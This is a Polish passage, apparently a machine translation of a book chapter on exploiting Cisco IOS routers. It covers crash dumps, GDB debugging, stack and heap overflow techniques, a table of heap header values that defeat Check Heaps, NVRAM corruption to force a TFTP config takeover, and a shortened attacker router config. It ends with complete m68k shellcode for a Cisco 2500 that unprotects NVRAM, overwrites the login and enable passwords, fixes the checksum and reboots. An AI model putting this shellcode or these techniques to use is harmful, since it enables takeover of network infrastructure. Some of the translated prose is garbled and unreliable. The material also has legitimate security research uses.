Funkcję można przetestować bez awarii routera, wydając polecenie write core. Wczesne wersje IOS będą używać skonfigurowanej nazwy pliku do zapisu zrzutu przez TFTP. Późniejsze wersje systemu IOS utworzą dwa pliki, jeden zawierający pamięć główną, a drugi regiony pamięci IO routera, i dołączą informacje o dacie i godzinie, jak opisano krótko dla plików informacji o awarii. W przypadku starszych routerów zaleca się również rejestrowanie wyjścia konsoli szeregowej podczas awarii, ponieważ informacje nie są zawarte w zrzutach awaryjnych. Późniejsze modele generują znacznie bardziej szczegółową analizę awarii, informacje o awarii. Gdy bieżąca wersja systemu IOS ulegnie awarii, zapisze plik o nazwie crashinfo_RRRRMMDD-123456 w systemie plików flash, gdzie RRRRMMDD jest zastępowane przez bieżącą datę routera, a 123456 jest zastępowane losową liczbą dziesiętną. Plik informacji o awarii można skopiować z routera do hosta za pośrednictwem protokołu FTP, TFTP lub RCP. Pliki informacji o awariach zawierają mnóstwo informacji, których potrzebuje badacz ds. bezpieczeństwa, aby zbadać lukę w zabezpieczeniach:

* Komunikat o błędzie (dziennik) i historia poleceń
* Opis obrazu uruchomionego w momencie awarii
* Dane wyjściowe z wyrównania pokazu
* Alokacja sterty i wolne ślady
* Śledzenie stosu na poziomie procesu
* Kontekst na poziomie procesu
* Zrzut stosu na poziomie procesu
* Zrzut stosu na poziomie przerwań
* Informacje o poziomie procesu
* Zrzut referencyjny rejestru na poziomie procesu

Funkcja generowania plików informacji o awariach jest dostępna od wersji IOS 12.1 lub 12.2, w zależności od platformy. Zrzut referencyjny rejestru na poziomie procesu jest bardzo przydatny, ponieważ automatycznie spróbuje zidentyfikować, na co wskazuje dany rejestr:

Reg00(PC): 41414140 [Not RAM Addr]

Reg01(MSR): 8209032 [Not RAM Addr]

Reg02(CR): 22004008 [Not RAM Addr]

Reg03(LR): 41414143 [Not RAM Addr]

Reg04(CTR): 0 [Not RAM Addr]

Reg05(XER): 20009345 [Not RAM Addr]

Reg06(DAR): 61000000 [Not RAM Addr]

Reg07(DSISR): 15D [Not RAM Addr]

Reg08(DEC): 2158F4B2 [Not RAM Addr]

Reg09(TBU): 3 [Not RAM Addr]

Reg10(TBL): 5EA70B30 [Not RAM Addr]

Reg11(IMMR): 68010031 [Not RAM Addr]

Reg12(R0): 41414143 [Not RAM Addr]

Reg13(R1): 82492DF0

Reg14(R2): 81D40000

Reg15(R3): 82576678 [In malloc Block 0x82576650] [Last malloc Block 0x82576504]

Reg16(R4): 82576678

Reg17(R5): 82576678

Reg18(R6): 81F01C84

Reg19(R7): 0 [Not RAM Addr]

Reg20(R8): 4241 [Not RAM Addr]

Reg21(R9): 0 [Not RAM Addr]

Reg22(R10): 81D40000

Reg23(R11): 0 [Not RAM Addr]

Reg24(R12): 22004008 [Not RAM Addr]

Reg25(R13): FFF48A24 [Not RAM Addr]

Agent GDB

Chociaż wbudowane narzędzia routera Cisco zapewniają pewne podstawowe funkcje debugowania, badacz zwykle potrzebuje pełnego zestawu możliwości debugowania, takich jak ustawianie punktów

przerwania bezpośrednio w dezasemblacji, obserwowanie przepływu wykonywania i odczytywanie zawartości pamięci. Na szczęście to samo dotyczy inżyniera Cisco, który próbuje debugować najnowszy problem w systemie IOS na konkretnym routerze. Ponieważ cały obraz IOS zachowuje się jak bardzo duży w jądrze monolitycznym Cisco wykorzystuje techniki debugowania, które pierwotnie pochodziły ze świata programistów systemów operacyjnych. Cisco IOS obsługuje protokół zdalnego debugowania łącza szeregowego GDB. Protokół ten umożliwia zdalnemu hostowi kontrolowanie celu debugowania (routera) za pośrednictwem połączenia interfejsu szeregowego. Protokół GDB jest również zaimplementowany przez TCP, ale Cisco nie obsługuje tego trybu. Protokół jest oparty na tekście i jest nieco zmodyfikowany w stosunku do publicznie dostępnej wersji w debuggerze GNU, więc oba są niekompatybilne. Firma SABER Security wydała w 2006 roku narzędzie front-endowe do debugowania typu comm and-line, a także agenta debugowania dla BinNavi, aby umożliwić naukowcom pełne debugowanie urządzeń obsługujących różne dialekty protokołu linii szeregowej GDB. Wśród obsługiwanych urządzeń są oczywiście niektóre platformy Cisco. Chociaż zmodyfikowana wersja GDB również załatwi sprawę, integracja z BinNavi zapewnia możliwość śledzenia ścieżek wykonania kodu wewnątrz funkcji lub między wieloma funkcjami. Podczas wyszukiwania podatności w IOS i pakietów rzemieślniczych wizualizacja daje świetną bazę informacji o pokryciu kodu, jaki osiągają testy. Pomaga również określić, dlaczego dany pakiet jest odrzucany lub nie, nawet jeśli odpowiednie dane wyjściowe z systemu IOS nie są zbyt pomocne. Ustawiając punkt przerwania na bloku logicznym, w którym rzeczywisty przepływ kodu odbiega od pożądanego, badacz jest w stanie sprawdzić proces decyzyjny i dlaczego pakiet został odrzucony, zamiast przetwarzać go dalej. Cisco i inni dostawcy systemów wbudowanych wdrażają debugowanie linii szeregowej za pomocą swojej standardowej konsoli. Dlatego musisz przełączyć konsolę na debugowanie GDB. Odbywa się to w Cisco za pomocą nieudokumentowanego polecenia jądra gdb do debugowania kodu jądra. Po wprowadzeniu polecenia system zatrzymuje się i drukuje pewną liczbę znaków kreski pionowej (takich jak: ||||). Jest to wstęp do protokołu GDB, więc możesz teraz zakończyć oprogramowanie terminala i uruchomić debugger linii szeregowej z obsługą GDB, aby sterować urządzeniem. Należy pamiętać, że gdy router zostanie przywrócony do normalnego działania za pomocą polecenia Continue, normalne wyjście konsoli szeregowej pojawi się ponownie, ponieważ drukowanie dowolnych informacji na konsoli jest jedną z podstawowych funkcji systemu IOS. Użyty debugger powinien być w stanie poradzić sobie z tą sytuacją, ponieważ odłączenie debugera w tym momencie nie jest opcją, ponieważ konsola powraca do trybu GDB po wystąpieniu wyjątku, takiego jak trafienie w punkt przerwania. Debugowanie luk w zabezpieczeniach i praca nad sposobami niezawodnego wykonywania kodu na routerze Cisco IOS można łatwo wykonać za pomocą wbudowanej funkcji ROMMON. Podczas pracy nad skomplikowanymi błędami parsowania lub opracowywaniem szelkodu typu proof-of-concept dla platformy preferowane jest użycie debuggera linii szeregowej GDB - jeśli nie w celu poprawy funkcjonalności, to ponieważ użycie ROMMON nieznacznie zmieni sposób alokacji niektórych obszarów pamięci na routerze, rujnując pracę na przewidywalnych adresach.

Wykorzystanie Cisco IOS

Po zidentyfikowaniu podatności, wcześniej wspomniane techniki inspekcji są wykorzystywane do sprawdzenia, na który rejestr lub zawartość pamięci można wpłynąć. Dobrym wskaźnikiem przepełnienia stosu jest natychmiastowy błąd magistrali lub podobny wyjątek. Jeśli sterta jest uszkodzona przez przepełnienie, reakcja routera może potrwać nawet 20 sekund, ponieważ może wymagać procesu Check Heaps, aby wykryć, że struktury danych sterty zostały uszkodzone. Wykrywanie można przyspieszyć za pomocą polecenia debug sanity, które umożliwia dodatkowe sprawdzenie sterty systemu IOS.

Przepełnienia stosu

Uzyskanie wykonania kodu przez przepełnienie bufora oparte na stosie działa w ten sam sposób w systemie IOS, jak w przypadku każdej innej platformy. Celem jest nadpisanie lokalizacji stosu, w której przechowywany jest adres powrotu funkcji wywołującej. Stos w systemie IOS jest wykonywalny, więc powrót do bufora stosu nie stanowi problemu. To, co naprawdę wchodzi w grę, to duża liczba platform i różne Obrazy IOS wymienione we wstępie. Gdyby model routera docelowego nie był znany, atakujący nie byłby nawet w stanie stwierdzić, który procesor jest używany i, odpowiednio, wybrać właściwy kod powłoki. Drugą przeszkodą jest fakt, że IOS używa prostych bloków przydzielonych na stercie jako stosów procesów. Dlatego adres stosu procesu nie jest stabilny. Aby uzyskać adresy stosu danego procesu, wymagany jest mały objazd do organizacji procesu w IOS. System IOS przechowuje tablicę wskaźników do struktur, które zawierają wszystkie informacje o kontekście procesu. Tę tablicę można znaleźć za pomocą polecenia show alokacja-procesu pamięci, które wyświetli listę bloków pamięci i jaki proces je przydzielił, w tym do czego są używane. Dane wyjściowe będą również zawierać wpisy o nazwie Stos procesów dla każdego procesu w systemie IOS. Aby dowiedzieć się, jaki jest bieżący wskaźnik stosu tego procesu, musisz najpierw uzyskać identyfikator procesu. Można to zrobić za pomocą polecenia wyświetlającego procesy show process cpu. Teraz pojawia się adres tablicy procesów. Po zrzuceniu pamięci bloku pamięci tablicy procesów tablica staje się widoczna:

Address Bytes Prev. Next Ref Alloc Proc Alloc PC What

2040D44 1032 2040CC4 2041178 1 *Init* 80EE752 Process

Array

2041178 1000 2040D44 204158C 1 Load Meter 80EEAFA Process

Stack

204158C 476 2041178 2041794 1 Load Meter 80EEB0C Process

radio#sh mem 0x2040D44

02040D40: AB1234CD FFFFFFFE 00000000 +.4M…~ …

02040D50: 080EE700 080EE752 02041178 02040CD8 …g…gR…x…X

02040D60: 80000206 00000001 080EAEA2 00000000 … …”

02040D70: 00000020 020415B4 0209FCBC 02075FF8 … …4.|< …_x

02040D80: 02076B8C 0207E428 020813B8 0208263C …k…d(…8..&<

02040D90: 020A5FE0 020A7B10 020A8F3C 020C76A4 …_` …{ …<..v$

02040DA0: 020C8978 020C9F2C 020CAA30 020CE704 ...x...,..*0..g.

02040DB0: 020D12EC 020D47B8 020D5AB8 020DB30C ...l..G8..Z8..3.

02040DC0: 020DC5E0 020DD0E4 020DDBE8 020DE6EC ..E`..Pd..[h..fl

02040DD0: 020E7BE8 020E8304 020E8E08 020E9DBC ..{h.....<

02040DE0: 020EC5A0 020ED0A4 020EDBA8 020EE6AC ..E ..P$..[(..f,

02040DF0: 020A0268 00000000 00000000 00000000 ...h.....

W przesunięciu 0x02040D74 rozpoczyna się rzeczywista tablica. Zakładając, że dany proces byłby Load Meter, który w poprzednim przykładzie ma PID równy 1, można teraz sprawdzić strukturę informacji o procesie:

radio#sh mem 0x020415B4

020415B0: 020411A0 02041550 00001388 ... ...P....

020415C0: 080EDEE4 00000000 00000000 00000000 ..^d.....

Drugi wpis w tej strukturze to bieżący wskaźnik stosu procesu. Ponieważ Load Meter jest wykonywany okresowo raz na 30 sekund, kilkakrotne zapytanie o tę wartość da stabilną wartość. Ramki stosu procesu można również odpytywać za pomocą polecenia show stacks z identyfikatorem PID procesu:

radio#sh stacks 1

Process 1: Load Meter

Stack segment 0x20411A0 - 0x2041588

FP: 0x204156C, RA: 0x80E2870

FP: 0x2041578, RA: 0x80EDEEC

FP: 0x0, RA: 0x80EF1D0

Korzystając z uzyskanych informacji można znaleźć działający adres zwrotny dla stosu eksploatowanych procesów. Problem polega oczywiście na tym, że takie adresy byłyby stabilne tylko dla jednego lub kilku z wielu możliwych obrazów IOS używanych dla tego konkretnego modelu routera. Ogólnie rzecz biorąc, bezpieczniej jest używać stosów procesów, które są ładowane od razu podczas uruchamiania. Kolejność ładowania wczesnych procesów jest stabilna, ponieważ jest zakodowana na stałe w obrazie. Inne procesy są ładowane później i zależą od konfiguracji lub dodatkowych modułów sprzętowych. Dlatego ich kolejność ładowania nie jest przewidywalna, a ich stosy mogą poruszać się w pamięci od jednego ponownego uruchomienia do następnego.

W zależności od platformy docelowej można użyć częściowego nadpisania wskaźnika ramki lub adresu powrotu, aby uzyskać bardziej stabilne wykonanie kodu. Większość sprzętu Cisco działa na maszynach big-endian, gdzie częściowe nadpisywanie jest mniej przydatne niż na platformach little-endian. Jeśli luka na to pozwala, a cel jest little-endian, nadpisanie tylko jednego lub dwóch bajtów adresu zwrotnego utrzyma górne 24 lub 16 bitów w stanie nienaruszonym, a w połączeniu z dłuższym buforem może dać adres powrotu niezależny od pozycji. Należy podkreślić, że jak dotąd jedynym sposobem na uzyskanie naprawdę stabilnego wykonania kodu w systemie IOS jest zidentyfikowanie luki w zabezpieczeniach, która ujawnia rzeczywiste adresy pamięci. Jeśli którakolwiek z tych informacji może zostać wykorzystana do ustalenia lokalizacji danych dostarczonych przez atakującego, możliwe jest niezawodne wykonanie kodu poprzez zastąpienie adresu zwrotnego tą znaną lokalizacją. Region pamięci, w którym przechowywane są dane dostarczone przez osobę atakującą, nie ma większego znaczenia, ponieważ system IOS nie ma żadnej ochrony przed wykonaniem.

Przepełnienia sterty

Kiedy przepełniasz bufor, który jest przechowywany w bloku sterty, rezultatem jest zwykle tak zwana wymuszona awaria oprogramowania. W tej sytuacji proces Check Heaps zidentyfikował uszkodzoną strukturę sterty i nakazał awarię systemu IOS, zrzucenie zawartości pamięci w dotkniętym obszarze i ponowne załadowanie routera. To, co zobaczysz, to, wśród wielu innych wyników, linia:

00:00:52: %SYS-3-OVERRUN: Przekroczenie bloku w 209A1E8 (ponowna strefa 41414141)

Jak wspomniano wcześniej, IOS używa statycznych wartości magicznych do wykrywania, czy blok sterty jest przepełniony, czy nie. W tym przypadku Check Heaps znalazł blok sterty, który nie kończył się magicznym 0xFD0110DF, ale 0x41414141. Ogólne podejście do wykorzystania takiej luki jest takie samo, jak w przypadku innych przepełnień sterty w popularnych systemach operacyjnych. Nadpisane informacje w zarządzie informacji nagłówka następnego bloku sterty są zastępowane danymi dostarczonymi przez osobę atakującą, które powodują operację zapisu ze znaną wartością do znanej lokalizacji, gdy kod zarządzania stertą zmienia listę bloków. Ta technika działa w podobny sposób jak techniki przepełnienia sterty

Wyzwania specyficzne dla IOS

Aby to podejście działało, wartości muszą być zgodne z oczekiwaniami systemu IOS. Jest to łatwe w przypadku stałych wartości magicznych, ale wymaga, aby przepełnienie zawsze występowało z przewidywalną liczbą bajtów w buforze docelowym. Jeśli na przykład liczba bajtów, które muszą znajdować się w buforze przed osiągnięciem czerwonej strefy i następnego nagłówka bloku sterty, jest zmienna ze względu na nazwy domen lub inne mniej przewidywalne informacje, wynik nie będzie działał zbyt dobrze. Innym istotnym problemem jest lista weryfikacji, które proces Check Heaps przeprowadza na strukturach sterty. Podzbiór tych weryfikacji, w zależności od wersji i obrazu systemu IOS, jest również wykonywany, gdy bloki sterty są przydzielane lub zwalniane. Ponieważ kontrole obejmują cykliczne sprawdzanie następnego i poprzedniego wskaźnika, nie ma znanego sposobu na zastąpienie ich dowolnymi wartościami. Oznacza to, że poprzedni wskaźnik musi zawierać dokładną wartość, którą zawierał wcześniej — nie jest to dobra podstawa do stabilnej zdalnej eksploatacji. Tak więc, dopóki ktoś nie wpadnie na wykonalny pomysł, który faktycznie działałby w środowisku naturalnym, exploit sterty IOS szczura laboratoryjnego będzie używał wstępnie zarejestrowanych wartości dla wskaźnika PrevBlock, ponieważ żadna inna wartość nie będzie działać. Aby router faktycznie używał przewidywalnych adresów w blokach sterty, atakujący musiałby go najpierw zawiesić. Jak wspomniano wcześniej, procedura ładowania i rozruchu jest dość przewidywalna, a świeżo zrestartowany router najprawdopodobniej użyje tych samych adresów pamięci dla przydzielonych bloków. Należy to odczytać jako „wystarczająco przewidywalne tylko do użytku laboratoryjnego”. Pole BlockSize bloku sterty jest również weryfikowane, zanim wolna funkcja wykona swoją pracę, ale to sprawdzenie można obejść, umieszczając w nim poprawną wartość lub coś między 0x7FFFFFD0 a 0x7FFFFFFF, ponieważ zostaną one zawinięte po dodaniu 40 bajtów narzutu przez kod zarządzania. Kilka innych wartości w strukturze bloku sterty nie jest w ogóle weryfikowanych i można je zastąpić dowolnymi danymi. W związku z tym cały nagłówek bloku sterty musi zostać odtworzony podczas przekraczania granic bloku sterty. Tabela 13-4 pokazuje, które wartości muszą spełniać jakie wymagania.

POLE : WYMAGANIE : WARTOŚĆ

REDZONE: Musi być dokładny: 0xFD0110DF

MAGIC : Musi być dokładna : 0xAB1234CD

PID : Brak wymagań : -

AllocCheck : Brak wymagań : -

AllocName : Brak wymagań : Powinien wskazywać na jakiś ciąg w segmencie tekstu

AllocPC : Brak wymagań : -

NextBlock: Musi znajdować się w pamięci mapowanej: -

PrevBlock : Musi być dokładny : Wartość po nadpisaniu

BlockSize: Musi mieć ustawione MSB do użycia, MSB wyczyszczone dla nieużywanych bloków: 0x7FFFFFFF

RefCnt : nie może być null : 1

LastFree : Brak wymagań : -

Skupiony czytelnik z pewnością zauważy, że wymagania przedstawione w powyższej tabeli pozwalają nadpisać nagłówek bloku sterty i przejść testy, gdy operacja jest wykonywana przy użyciu tego nagłówka, ale nie pozwalają na zapisywanie danych w dowolnej lub nawet ograniczonej pamięci region. W obecnej konfiguracji nie ma sensu w ogóle robić przepełnienia.

Zapis w pamięci po odłączeniu

Jednak po skonstruowaniu fałszywego bloku możemy zapisać do następnego bloku pamięci sterty, korzystając z naszego kolejnego przepełnienia bufora. Jeśli oznaczymy sfałszowany nagłówek bloku sterty jako nieużywany przez nieustawienie najbardziej znaczącego bitu pola BlockSize, a blok sterty, w którym rozpoczął się nasz przepełnienie, zostanie cofnięty, IOS spróbuje połączyć oba bloki sterty w jeden duży blok wolnej sterty, aby aby zminimalizować fragmentację sterty. Jak opisano w sekcji „Ster IOS" wcześniej w tym rozdziale, wolne bloki pamięci mają dodatkowe informacje dotyczące zarządzania pamięcią w sekcji ładunku. Te pola również są walidowane, ale weryfikacje są znacznie mniej rygorystyczne niż te wykonywane w głównym nagłówku. Dodatkowo w grę wchodzi praktyka programistyczna polegająca na preferowaniu szybkości w stosunku do kodu strukturalnego. Swobodne łączenie bloków opiera się wyłącznie na wskaźnikach NextFree i PrevFree. Operacja wykonywana w celu połączenia obu bloków to:

* Wartość w PrevFree jest zapisywana w miejscu, gdzie NextFree + 20 punktów do

* Wartość w NextFree jest zapisywana w miejscu, w którym wskazuje PrevFree

Dlatego, jeśli uda się nadpisać podstawowy blok pamięci sterty danymi, które wyglądają na prawidłowe dla systemu IOS i dostarczają dodatkowych informacji nagłówka wolnego bloku, dowolna wartość może zostać zapisana pod dowolnym adresem pamięci, gdy bloki się połączą.

Alternatywy

Podobnie jak większość dużych aplikacji napisanych w C, IOS intensywnie wykorzystuje wskaźniki. Fakt, że zachowuje się częściowo jak system operacyjny i musi zapewniać dynamiczną funkcjonalność kodu, włączanie i wyłączanie udogodnień w kodzie tylko zwiększa zapotrzebowanie na listy wskaźników. Wiele funkcji w kodzie IOS opiera się na przechowywaniu adresów funkcji zwrotnych w strukturach podobnych do list. Na przykład istnieje nawet funkcja „list" w systemie IOS, którą można sprawdzić za pomocą polecenia show list. Po dodaniu numeru listy po poleceniu zostanie wygenerowany wynik podobny do następującego:

radio#show list 2 list ID is 2, size/max is 1/-

list name is Processor

enqueue is 0x80DC044, dequeue is 0x80DC132, requeue is 0x80DC1E2

insert is 0x80DC2C2, remove is 0x80DC3F0, info is 0x80DC84C

head is 0x201AD44, tail is 0x201AD44, flags is 0x1

Element Prev Next Data Info

0 201AD44 0 0 201AD34

Adresy wymienione jako dodaj do kolejki, usuń z kolejki, dodaj do kolejki, wstaw, usuń i informacje to wszystkie funkcje w bazie kodu systemu IOS, które zostały zarejestrowane podczas tworzenia listy. Funkcje te są wywoływane, gdy dana operacja musi zostać wykonana na strukturze listy. Wiele takich struktur danych istnieje w systemie IOS. Dlatego dobrze jest sprawdzić zawartość bloku sterty, który jest nadpisywany przed próbą wykonania pełnego wykorzystania sterty. Przy odrobinie szczęścia i wystarczającej liczbie odczytów kodu często może być możliwe przepełnienie jednej z tych struktur zamiast następującego nagłówka sterty.

Ataki częściowe

Podczas sprawdzania listy sprawdzeń wykonanych na bloku sterty, powinno się zauważyć, że wskaźnik NextBlock nie jest zweryfikowany. Można to wykorzystać na korzyść atakującego, ponieważ wskaźnik NextBlock zostanie użyty później, gdy połączone listy zostaną zmodyfikowane.

Unieważnienie pamięci NVRAM

Jeden ze sposobów użycia niezweryfikowanego wskaźnika NextBlock zależy od modelu routera. W niektórych modelach pamięć NVRAM, obszar pamięci flash mapowanej w pamięci, który jest używany do przechowywania konfiguracji routera, jest zapisywalny w systemie IOS. W innych modelach routerów ten obszar pamięci jest mapowany tylko do odczytu i tylko do zapisu przez czas potrzebny systemowi IOS na zapisanie w nim konfiguracji. Dostarczając wskaźnik NextBlock, który wskazuje obszar, w którym mapowana jest pamięć NVRAM, operacje na połączonej liście bloków sterty powodują, że router zapisuje wartości wskaźnika w swojej sekcji konfiguracji. Jeśli pamięć NVRAM jest tylko do odczytu, router ulegnie awarii i zrestartuje się z powodu wyjątku ochrony przed zapisem. Jeśli jednak pamięć NVRAM jest zapisywalna, router będzie działał do momentu, gdy funkcja Check Heaps zidentyfikuje uszkodzoną stertę, a następnie uruchomi ponownie. Gdy pojawi się kopia zapasowa, IOS sprawdza sumę kontrolną zapisanej konfiguracji i zorientuje się, że suma kontrolna nie jest już poprawna. Router Cisco bez prawidłowej konfiguracji będzie domyślnie żądał informacji konfiguracyjnych za pośrednictwem protokołu BOOTP/TFTP poprzez rozgłaszanie do sieci. Jeśli atakujący znajduje się w tym samym segmencie sieci LAN, może łatwo wprowadzić dowolną konfigurację do routera i tym samym przejąć kontrolę nad pudełkiem.

Nadpisywanie zmiennej globalnej

Ze względu na monolityczny charakter IOS, wiele zmiennych musi być przechowywanych globalnie, aby były powszechnie dostępne. Jednym z tych typów zmiennych są flagi, porównywalne do semaforów, które wskazują, że wykonywana jest procedura przetwarzania przerwań lub funkcja non-reentrant, aby zapobiec dwukrotnemu wywołaniu tej samej funkcji. Można to oczywiście wykorzystać w ten sam sposób, w jaki NVRAM unieważnieniae działa, ponieważ zmienne logiczne nie mogą być puste, aby reprezentować „prawdę”. Dlatego każda globalna zmienna logiczna, na którą wskazuje wskaźnik NextBlock, zostanie ustawiona na wartość true po reorganizacji list sterty. Gyan Chawdhary twierdził, że znalazł sposób, aby zapobiec awarii routera Check Heaps, ale nie przedstawił dowodu w momencie pisania tego tekstu. Nie jest jasne, czy zmasakrowany proces stert sprawdzania uprości uzyskanie wykonania kodu, chociaż brzmi to wiarygodnie. Metoda najwyraźniej obejmuje ustawienie flagi, która informuje system IOS, że już się zawiesza, a tym samym zapobiega faktycznemu wystąpieniu awarii. Jedną z takich flag można znaleźć w kodzie odpowiedzialnym za odpalenie ostatniej instrukcji pułapki

do procesora, więc może to być tajemnicza flaga. Flaga jest używana jako semafor, aby zapobiec ponownemu wprowadzeniu funkcji awarii. Najłatwiejszym sposobem znalezienia tej funkcji podczas demontażu jest odniesienie do ciągu „Software-forced reload”:

```
text:080EBB68 sub_80EBB68:

text:080EBB68 var_4 = -4

text:080EBB68 arg_0 = 8

text:080EBB68

text:080EBB68 link a6,#0

text:080EBB6C move.l d2,-(sp)

text:080EBB6E move.l arg_0(a6),d2

text:080EBB72 tst.l (called__200B218).l

; Was crash function already called?

text:080EBB78 bne.w loc_text_80EBC18

; Exit if so

text:080EBB7C moveq #1,d1

text:080EBB7E move.l d1,(called__200B218).l

; mark function as called

text:080EBB84 bsr.w breakpoint__80EB9B8

text:080EBB88 pea aSoftwareForcedReloa

; “\n\n%%Software-forced reload\n”

text:080EBB8C pea ($FFFFFFFE).w

text:080EBB90 bsr.l sub_text_807CB72
```

Jak już wspomniano, można zidentyfikować wiele takich zmiennych globalnych. Wszystkie z nich mają niedostatek bycia zależnymi od obrazu i dlatego pracują tylko na jednym z wielu tysięcy obrazów. Im bliżej zmienna jest początkowego kodu startowego, tym większe są szanse, że w pewnym momencie zidentyfikujemy lokalizację adresu uniwersalnego dla przynajmniej niektórych gałęzi obrazów Cisco IOS.

Kody Shell

Chociaż routery Cisco mogą być dostępne przez Telnet, a niektóre przez SSH, koncepcja powłoki nie jest taka sama, jak w przypadku standardowych systemów Unix lub nawet Windows. W związku z tym szelkod musi robić różne rzeczy w systemie IOS po osiągnięciu kodu.

Konfiguracja zmiany kodu powłoki

Pierwsza próba to po prostu zmiana konfiguracji routera. Takie podejście ma największą zaletę, ponieważ pozwala nam pisać szelkod, który jest zależny tylko od modelu. Zależność wynika z faktu, że pamięć NVRAM jest mapowana na różne obszary pamięci w różnych modelach. Ponadto większość

nowoczesnych modeli chroni pamięć NVRAM przed zapisem, więc kod powłoki musi wiedzieć, jak ponownie włączyć uprawnienia do zapisu na stronie pamięci. Poza tym taki szelkod jest całkowicie niezależny od obrazu i funkcji IOS, ponieważ będzie działał bezpośrednio na sprzęcie.

Całkowita wymiana

To, co robi kod, to przeniesienie ze sobą nowej konfiguracji routera. Gdy kod zostanie wykonany, zapisuje konfigurację w pamięci NVRAM, ponownie oblicza pola sumy kontrolnej i długości, zapisuje je z powrotem i ponownie uruchamia router za pomocą udokumentowanej procedury zimnego startu danego procesora. Po ponownym uruchomieniu routera konfiguracja jest używana w miejsce pierwotnej, umożliwiając pełny dostęp atakującemu, zakładając, że konfiguracja była prawidłowa. To szczęście, że IOS umożliwia skrócenie wszystkich poleceń konfiguracyjnych, gdy są one charakterystyczne. Ponadto wszystkiemu, co nie jest zdefiniowane w konfiguracji, przypisywana jest mniej więcej rozsądna wartość domyślna. Dlatego całe konfiguracje można skrócić:

ena p c

in e0

ip ad 62.1.2.3 255.255.255.0

ip route 0.0.0.0 0.0.0.0 62.1.2.1

li v 0 4

pas c

logi

Poprzednia konfiguracja konfiguruje usługę Telnet i hasło dostępu „c” oraz adres IP interfejsu Ethernet0, w tym domyślną trasę do następnego routera. Po załadowaniu tej konfiguracji atakujący może Telnet na skonfigurowany adres IP i może modyfikować konfigurację zgodnie ze swoimi potrzebami. Podczas przeprowadzania takiego ataku należy pamiętać, że NVRAM jest wolnym nośnikiem i nie można do niego zapisywać w bardzo bliskiej pętli, więc do operacji kopiowania należy wprowadzić opóźnienia. Ponadto niezwykle ważne jest wyłączenie wszystkich przerwań na platformie; w przeciwnym razie interfejsy, które nadal będą widzieć ruch sieciowy, przerwą operację kopiowania i wrócą wykonanie do systemu IOS.

Częściowa wymiana

Alternatywą dla zastąpienia całej konfiguracji jest po prostu wyszukanie i zastąpienie elementów, które należy zmienić, takich jak hasła. Zakłada się, że dostęp do maszyny przez Telnet lub SSH jest już możliwy i tylko hasło uniemożliwia atakującemu uzyskanie pełnego dostępu do skrzynki. Częściowo zastępujący kod powłoki może być również używany w przypadku dużych buforów w eksploatacji lokalnej, ponieważ flagi wskazujące poziom uprawnień sesji przeskakują w pamięci IOS, tak jak wszystko inne. Przykładowy kod powłoki typu „szukaj i zamień” dla modelu Cisco 2500 jest następujący:

##

text segment

.globl _start

_start:

#

```
# Preamble: unprotect NVRAM and disable Interrupts
#
move.l #0x0FF010C2,a0
lsr (a0)
move.w #0x2700,sr;
move.l #0x0FF010C2,a0
move.w #0x0001,(a0)
#
# First, look for the magic value (0xABCD)
#
move.l #0x0E000000,a0
find_magic:
addq.l #2,a0
cmp.w #0xABCD,(a0)
bne.s find_magic
#
# a0 should now point to the magic
# make a1 point to the checksum
#
move.l a0,a1
addq.l #4,a1
#
# make a2 point to the suspected begin off the config
#
move.l a1,a2
addq.l #8,a2
addq.l #8,a2
modmain:
cmp.b #0x00,(a2)
beq.s end_of_config
#
```

```
# search for the password string
#
lea S_password(pc),a5
bsr.s strstr
tst.l d0
# if equal to 0x00, string was not found
beq.s next1
#
# found password string, d0 already points to where we want to replace
it
#
move.l d0,a4
lea REPLACE_password(pc),a5
bsr.s nvcopy
next1:
#
# search for the enable string
#
lea S_enable(pc),a5
bsr.s strstr
tst.l d0
beq.s next2
#
# found enable string, d0 already points to where we want to replace
it
#
move.l d0,a4
lea REPLACE_enable(pc),a5
bsr.s nvcopy
next2:
addq.l #0x1,a2
```

```
bra.s modmain
end_of_config:
#
# All done, now calculate the checksum and replace the old one
#
# clear checksum for calculation
move.w #0x0000,(a1)
# delay until the NVRAM got it
move.l #0x00000001,d7
move.l #0x0000FFFF,d6
chksm_delay:
subx d7,d6
bmi.s chksm_delay
# load begin of buffer to a5
move.l a0,a5
# calculate checksum
bsr.s chksum
# write checksum to NVRAM
move.w d6,(a1)
# delay until the NVRAM got it
move.l #0x00000001,d7
move.l #0x0000FFFF,d4
final_delay:
subx d7,d4
bmi.s final_delay
restart:
move.w #0x2700,%sr
moveal #0x0FF00000,%a0
moveal (%a0),%sp
moveal #0x0FF00004,%a0
moveal (%a0),%a0
```

```
jmp (%a0)
# ---------------------------------------
# SUBFUNCTIONS
# ---------------------------------------
########################################
#
# searches for the string supplied in a5
# if found, d0 will point to the end of it, where the modification can
take place
# if not found, d0 will be 0x00
strstr:
move.l a2,a4
strstr_2:
cmp.b #0x00,(a5)
beq.s strstr_endofstr
cmp.b (a5)+,(a4)+
beq.s strstr_2
# strings were not equal, restore a2 and return 0 in d0
clr.l d0
rts
strstr_endofstr:
# strings were equal, return end of it in d0
move.l a4,d0
rts
#
########################################
########################################
#
# nvcopy
# copies the string a5 points to to the destination a4 until (a5) is
0x00
```

```
#
nvcopy:
# delay
move.l #0x00000001,d7
nvcopyl1:
cmp.b #0x00,(a5)
beq.s nvcopy_end
move.b (a5)+,(a4)+
#
# do the delay
#
move.l #0x0000FFFF,d6
nvcopy_delay:
subx d7,d6
bmi.s nvcopy_delay
# again
bra.s nvcopyl1
nvcopy_end:
rts
#
########################################
########################################
#
# chksum
# calculate the checksum of the memory at a5 until 0x00 is reached
#
chksum:
clr.l d7
clr.l d0
chk1:
# count 0x0000 seqences in d0 up and exit when d0>10
```

```
cmp.w #0x0000,(a5)
bne.s chk_hack
# 0x0000 sequence found, branch out to chk2 only if 0x0000 count > 10
addq.l #1,d0
cmp.l #10,d0
beq.s chk2
chk_hack:
clr.l d6
move.w (a5)+,d6
add.l d6,d7
bra.s chk1
chk2:
move.l d7,d6
move.l d7,d5
chk3:
and.l #0x0000FFFF,d6
lsr.l #8,d5
lsr.l #8,d5
add.w d5,d6
move.l d6,d4
and.l #0xFFFF0000,d4
bne chk3
not.w d6
# done, returned in d6
rts
#
########################################
# -------------------------------------
# DATA section
# -------------------------------------
S_password:
```

.asciz “\n password “

S_enable:

.asciz “\nenable “

REPLACE_password:

.asciz “phenoelit\n”

REPLACE_enable:

.asciz “password phenoelit\n”

--- end of file ---

Poprawianie Shellcode obrazu w czasie wykonywania

